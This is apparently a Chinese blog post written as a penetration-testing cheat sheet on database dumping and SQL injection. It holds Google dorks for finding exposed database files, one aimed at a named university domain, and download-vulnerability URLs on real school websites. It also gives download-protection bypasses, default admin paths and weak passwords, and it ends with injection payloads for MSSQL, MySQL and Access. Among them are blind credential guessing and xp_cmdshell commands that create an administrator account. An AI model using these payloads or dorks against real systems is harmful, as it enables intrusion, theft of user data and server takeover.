【渗透测试】常见的数据库

一、网站暴库漏洞

暴库,就是通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法下载到本地。黑客非常乐意于这种工作,为什么呢?因为黑客在得到网站数据库后,就能得到网站管理账号,对网站进行破坏与管理,黑客也能通过数据库得到网站用户的隐私信息,甚至得到服务器的最高权限。

一般是access数据库(文件形式的data.mdb)

SQL server或MySQL下载数据库连接文件,得到远程连接配置信息。

二、暴库利用方法

inurl:/inc/comm/asp
inurl:/inc+conn.asp to parent directory intext:
inurl:/inc/conn.asp
inurl:/inc+conn.asp
to parent directory

所有可以目录浏览的网页都有一些相同的地方,主要是下面几个:

to parent directory
last modified Description
转到父目录

谷歌语法:

intitle
intext
inurl
site
filetype
搜索域名后缀,常见的域名后缀:com/net/mil/org/info/gov/edu/biz/coop/areo/pro/int/arpa

例如:

下载某官网的数据库
intext:to parent directory+intext:mdb site:fudan.edu.cn

三、暴库绕过防下载

#sdsf.mdb
下载时改成
%23sdsf.mdb

#@!$%^^qweasd123$%^&.mdb
有特殊符号时需将url编码后在下载
%23@%21%24%25%5E%5Eqweasd123%24%25%5E%26.mdb

四、高级语法暴库

inurl:./..admin../..add..
inurl:./..amin../..del..
inurl:/.asp<id=<% <% <%
intetle:<%eval

五、下载漏洞

http://ipo.snnu.edu.cn/
http:ipo.snnu.edu/shida/UploadFiles/indentAttFile/2012061222041778.doc 

http://ipo.snnu.edu.cn/down.asp?fieup=shida/UploadFiles/indentAttFile/2012061222041778.doc 

http://www.sxzzy.cn/ggjs/news/down.asp?FileName=doc/2012-5/2012053010329973.doc 

谷歌搜索:inurl:down.asp?FileName=

下载漏洞利用

1、用过蜘蛛爬行
2、找到该url
3、下载conn.asp config.php config.asp
4、db.mdb

六、网站后台密码爆破

为了管理员方便管理网站,cms系统通常有管理员后台管理接口,该接口需要出示管理员账号密码,正确验证后方可登陆。

常见后台

织梦----->dede
discuz---->admin.php
帝国----->e/admin
phpweb----->wp-admin
WordPress----->admin
aspcms------>admin
科讯------>admin
南方------>admin
良精------>admin
ecshop------>admin
maneger
login_admin
login_manage

七、弱口令猜解

常见初始密码弱口令:

admin、admin888、Admin、admin123、123456、111111 ...

逻辑万能密钥:

'or'='or'
admin' or 1=1--

八、常见的数据库

1、Mssql数据库

学校、政府、oa、游戏、棋牌、人事考试网站 asp、aspx+sqlserver

监听端口1433

数据库权限:
sa:数据库操作、文件管理、命令执行、注册表读取等,相当于system

db权限:文件管理、数据库操作等,相当于users-administrator

public:数据库操作,相当于guest-users
数据库后缀db.mdf

日志后缀log.idf

系统数据库

master
model
msdb
tempdb
1)调用数据库代码

如果是asp可能在rnc目录下[conn.asp/dbconfig.asp]

如果是asps可能在web.config

<%
set conn = server.createobject("adobd.connection")
conn.open "provider=sqloledb;soure=local;uid=sa;pwd=******;database=database-name"
%>

ip:local
uid:账户名
pwd:账户密码
database:数据库名
2)基本信息搜集
and 1=(select is_srvrolemember('sysadmin')) // 判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) // 判断是否是库权限
and 1=(select is_srvrolemember('public')) // 判断是否为public权限
and 1=convert(int,db_name())1=(select db_name()) // 当前数据库名
and 1=(select @@servername) // 本地服务名
and 1=(select HAS_DBACCESS('master'))  // 判断是否有库读取权限
3)注入语句
and 1=(select @@version)  数据库版本
and 1=(select db_name)   当前数据库名称

and 1=(select top 1 name from master..sysdatabases where dbid>4) 查询数据库
and 1=(select name from master..sysdatabases for xml path)  查询所有数据库

and 1=(select top 1 name from sysobjects where xtype='u' and name<>'newss') 查询表名
and 1=(select name from sysobjects for xml path)  查询所有表名

and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='admin') and name<>'user' and name<>'pass')  获取列名

and 1=(select top 1 user from admin   获取数据,用户名
and 1=(select top 1 pass from admin   获取数据,密码
4)利用mssql扩展存储注入攻击

1、检测与恢复扩展存储,判断xp_cmdshell扩展存储是否存在

and 1=(select count(*) form master.dbo.sysobjects where xtype='x' AND name='xp_cmdshell')

2、判断xp_regread扩展存储是否存在

and 1=(select count(*) form master.dbo.sysobjects where xtype='x' AND name='xp_regread')

3、如果上面的插件没有安装需要恢复插件

EXEC sp_configure 'show advanced option',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;    // 恢复插件

;exec master..xpcmdshell'net user test test /add'  // 执行系统命令创建用户
;exec master..xpcmdshell'net localgroup administrators test /add' // 添加到管理员组

exec master.dbo.sp_addlogin test,password  // 添加和删除一个SA权限的用户test(需要SA权限)
exec master.dbo.sp_addsrvrolemeber test,sysadmin  // 将test 添加到管理员组

exec master..xp_servicecontrol 'stop','shedule'  // 停止服务 (需要SA权限)
exec master..xp_servicecontrol 'start','shedule' // 启动服务 (需要SA权限)

2、MySQL数据库

1)mysql函数
system_user() // 系统用户名
user()        // 用户名
current_user  // 当前用户名
session_user() // 连接数据库的用户名
database()     // 数据库名
version()      // mysql数据库版本
load_file()    // 转成16进制或10进制MySQL读取本地文件的函数
@@basedir      // 读取数据库路径
@@version_compile_os // 操作系统
2)数据库连接

配置文件:
config.php

db_config.php

include/common.inc.php

<?php
$host="localhost";  // 数据库地址
$database="admin";  // 数据库名称
$user="root";       // 数据库账户
$pass="pwd";        // 数据库密码
$webml="";          // 安装文件夹
?>

如果在查看过程中单引号被过滤可以将查询条件转换成16进制

3、Access数据库

1)注入流程

判断数据库注入

and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver

判断数据库表

and exists (select * from admin)

判断数据库列名

and exists (select admin from admin)

判断密码长度

and (select len(password) from admin)=5  admin表中password列的长度
2)ASCII码猜解
猜解管理员账号的第一个数据
通过ascii码判断
and (select top 1 asc(mid(admin,1,1)) from admin)>100 // 返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50 // 返回正常说明大于
and (select top 1 asc(mid(admin,1,1)) from admin)=97 // 返回正常说明等于97,97对应的字母为a
以此类推
判断管理员账户的第二个数据
and (select top 1 asc(mid(admin,2,1)) from admin)>100 // 返回正常说明大于,不正常说明不大于
判断管理员账户的第三个数据
and (select top 1 asc(mid(admin,3,1)) from admin)>100 // 返回正常说明大于,不正常说明不大于
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

多学点技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值